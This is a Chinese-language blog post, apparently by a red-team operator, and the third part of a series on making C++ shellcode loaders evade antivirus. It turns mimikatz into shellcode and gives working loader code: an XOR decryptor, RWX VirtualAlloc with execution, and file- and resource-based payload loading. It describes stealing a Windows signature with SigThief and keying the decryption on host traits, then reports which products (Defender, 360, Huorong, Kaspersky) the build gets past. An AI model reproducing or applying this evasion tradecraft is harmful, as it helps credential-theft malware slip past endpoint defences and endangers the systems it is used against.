Life has its own fate, and meeting may not be accidental.

0%

C++变形免杀初探(三)

最近一段时间都在忙着红队项目和攻防类项目,一直没时间去把笔记脱敏转成博客。以后随缘更新吧,有些东西太容易被溯源了….

第一部分

分离免杀

分离免杀应该是最简单的免杀方式,毕竟shellcode都在其他文件中,静态查杀也只能查加载器。我们直接将mimiktz在github中的程序进行shellcode转换。
使用项目:https://github.com/hasherezade/pe_to_shellcode

1
.\pe2shc.exe .\mimikatz_64.exe mim_64.txt


简单写一个shellcode加载器

1
2
3
4
5
6
7
8
9
10
11
void* exec = VirtualAlloc(0, payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (exec == NULL) {
perror("VirtualAlloc");
free(data);
return 1;
}
memcpy(exec, data, payload_len);
dncrypt((char*)exec, payload_len, buffer + (strlen(buffer) - 8), 8);
// 转换为函数指针并执行
void (*func)() = (void (*)())exec;
func();

xor加密部分

1
2
3
4
5
6
7
8
9
void XOR(char* data, size_t data_len, char* key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}

文件加载部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned char* inputFile(const char* filename, int& len) {
FILE* fp = NULL;
int err = fopen_s(&fp, filename, "rb");
if (err != 0 || !fp) {
exit(-1);
}

fseek(fp, 0, SEEK_END);
len = ftell(fp);
rewind(fp);

unsigned char* lpAddress = (unsigned char*)malloc(len);
fread(lpAddress, 1, len, fp);
fclose(fp);
return lpAddress;
}


int main{}{
unsigned char *payload;
int payload_len = 1373696; //大小为shellcode文件大小,用sizeof方法也行
payload = inputFile("mim_e.txt", payload_len);
}

查杀分析

常见的杀软及其特点(转自锦鲤安全)

常见杀软特点总结

杀软一般通过一下几点来检测恶意软件和行为:

  1. 静态查杀:最基本的查杀方式,主要通过对文件的特征码进行扫描,匹配已知的病毒特征库。如果发现文件特征码与病毒特征库中的某个病毒特征码相匹配,就判断该文件为病毒;部分杀软会在静态查杀时将程序放入沙箱中运行几秒的方式以检测程序是否是恶意程序。
  2. 动态(主动)查杀:通过在程序运行时扫描程序内存是否匹配病毒特征的方式主动发现恶意程序。在 EDR 中还会挂钩敏感的 Windows API,在程序调用到被挂钩的 API 时检查函数参数和调用栈以检测恶意程序。
  3. 流量监控:监控网络流量,分析网络数据包,如果发现异常流量或者已知的恶意流量特征,就可能是恶意软件在进行网络活动。
  4. 行为监控:监控程序的运行行为,如文件操作、注册表操作等。如果发现某个程序的行为超出了正常范围,就可能是恶意软件。

常见杀软特点如下:

  • 火绒:静态查杀能力弱,没有动态查杀,横向移动防护比较强,frp 等内网穿透工具会受到影响。
  • 360安全卫士/360杀毒:静态查杀能力较强,没有动态查杀,如果开启了核晶模式,则行为查杀比较强,注入进程等敏感行为会被拦截;核晶模式在物理机中默认开启,在虚拟机中默认关闭。
  • 360QVM:360QVM 简单的说就是使用了机器学习辅助查杀,在360杀毒引擎设置中开启 360QVM 后静态查杀会变得非常流氓,有一点特征就会被查杀。
  • Windows Defender:静态查杀能力较强,动态查杀较强,监控 HTTP 流量。
  • 卡巴斯基:普通版静态查杀能力一般,企业版静态查杀能力较强,动态查杀较强。
  • ESET:静态查杀能力较强,没有动态查杀。

软件分析

分离免杀,但是静态查杀效果不行,360云查杀没过去、卡巴斯基过不去。只能过火绒,defender。
由于是shellcode加载程序,所以动态查杀基本没啥特征,我们优先考虑静态过,动态一般流量侧查杀比较多,我们只是加载个程序目前不在考虑范围内。
继续改!

第二部分

添加ico

添加 ->资源-> ico

添加签名

在c:\windows\system32里找一个近期的windows签名文件。
利用sigthief.py添加签名。
项目地址:https://github.com/secretsquirrel/SigThief

1
python3 sigthief.py -t test.txt -t cmd.exe -o mi_test.exe

杀软测试

目前可过:defender、360、火绒
不可过:卡巴斯基

第三部分

动态key

修改为动态key进行xor加密。这块代码就不给了,主要思路就是拿每台机器都会有的特征来当key(比如说系统路径、系统名、注册表之类的)。

捆绑shellcode

再将shellcode加载进项目资源,导入txt到项目资源中。修改分离免杀读取方式。
修改如下:

1
2
3
4
HRSRC hRes =  FindResource(NULL, MAKEINTRESOURCE(IDR_TEXT1), TEXT("TEXT"));
HGLOBAL hData = LoadResource(NULL, hRes);
char* data = (char*)LockResource(hData);
DWORD dataSize = SizeofResource(NULL, hRes);

免杀效果展示

defender 静态、动态查杀

卡巴斯基 静态、动态查杀

360 静态、行为查杀

火绒 静态

参考

https://mp.weixin.qq.com/s/bNCm1mxDHz7euZ685SQvag